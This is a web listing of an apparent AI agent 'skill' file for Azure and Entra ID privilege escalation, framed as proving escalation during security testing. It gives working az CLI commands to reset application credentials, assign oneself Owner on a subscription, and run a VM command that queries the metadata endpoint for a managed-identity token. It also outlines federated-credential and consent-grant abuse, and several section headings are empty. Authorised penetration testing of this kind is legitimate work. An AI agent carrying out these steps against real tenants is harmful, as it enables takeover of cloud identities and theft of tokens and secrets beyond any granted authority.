Azure privilege escalation

From xalgorix/xalgorix · View interactive version

Azure privilege escalation is an AI agent skill from the GitHub repository xalgorix/xalgorix. Azure and Entra ID privilege escalation — privileged Graph application permissions, application and service-principal ownership, credential addition, managed-identity abuse, role assignment capabilities, Key Vault control-plane mistakes, VM Run Command, Automation accounts, and federated identity cr

How to use this skill

Skill file

Azure / Entra Privilege Escalation

Purpose

Prove Azure/Entra escalation from a controlled principal (discovered token, service principal, user, or managed identity) to higher privilege — a directory role, a privileged Graph app permission, an Owner/User Access Administrator RBAC role, or workload execution — with the formerly unavailable action demonstrated.

Entry Conditions

Attack Model

baseline: principal cannot do X (role assignment, secret creation, command execution)
→ escalation primitive (ownership / credential / role assignment / workload exec)
→ higher-privilege identity or direct control
→ X succeeds
→ report

Methodology

Family 1 — Application & Service Principal Control

Owned apps/SPs: "Application.ReadWrite.Owner" / ownership grants let you add credentials
  (client secrets, cert) to the app. Adding a secret to a privileged app = full control of
  its identity. Check app roles:
  az rest --url "https://graph.microsoft.com/v1.0/applications/<id>" | jq .requiredResourceAccess
  az ad app credential list --id <appId>       # what creds exist
  az ad app credential reset --id <appId>      # (state change: runtime policy permitting)
Privileged Graph app roles (application permissions) on ANY app you can administer:
  RoleManagement.ReadWrite.Directory, Directory.ReadWrite.All, AppRoleAssignment.ReadWrite.All,
  Mail.ReadWrite, etc. — these act tenant-wide, not just for one user

Family 2 — Role Assignments (RBAC and Directory)

# User Access Administrator / Owner on a scope → assign roles at that scope
az role assignment create --assignee <yourObjectId> --role "Owner" --scope /subscriptions/<id>
# Directory roles: Privileged Role Administrator / Global Admin paths
az rest --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"   # who holds what
az rest --url "https://graph.microsoft.com/v1.0/roleEligibilityScheduleInstances"          # PIM assignments
# Groups: group-ownership → membership control of role-bearing groups

Family 3 — Managed Identity Abuse

# An identity you can control (VM, App Service, Function, Automation) can mint tokens
# for ANY resource audience its RBAC/Graph grants allow:
az identity list -g <rg>
az vm run-command invoke ... --scripts "curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"
# Contributor over a VM/MI-bearing resource = token minting = the identity's full privilege set

Family 4 — Key Vault Control-Plane vs Data-Plane

Family 5 — Workload Execution

Family 6 — Federated Identity Credentials

# Apps with federated credentials allow token minting from an external issuer:
az rest --url "https://graph.microsoft.com/v1.0/applications/<id>/federatedIdentityCredentials"
# If you control the issuer/subject (e.g., a GitHub repo in the config), mint an Entra
# token AS the app — its app roles come with it

Family 7 — Consent Grant Attacks

Evidence Contract

escalation candidate (ownership/role/MI/federation observed)
→ audience/permission resolution (does the token really carry it?)
→ state change or token mint (credential added, role assigned, token obtained)
→ formerly unavailable action SUCCEEDS (directory object created, secret read, VM command output)
→ restore state where modified
→ report

NOT evidence: app registration listing with powerful API permissions NOT granted (admin consent pending), ownership without credential add, RBAC Contributor without data-plane demonstration, decoded token claims alone

Common Misses

False Positives / Non-Findings

Xalgorix Tool Strategy

Specialist Handoffs

Stopping Rule

Depth-first on: application ownership/credentials > role assignment > managed-identity token minting > workload execution. Stop when tenant-wide or subscription-wide admin-equivalent impact is proven, or when the top families are constraint-resolved and blocked.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.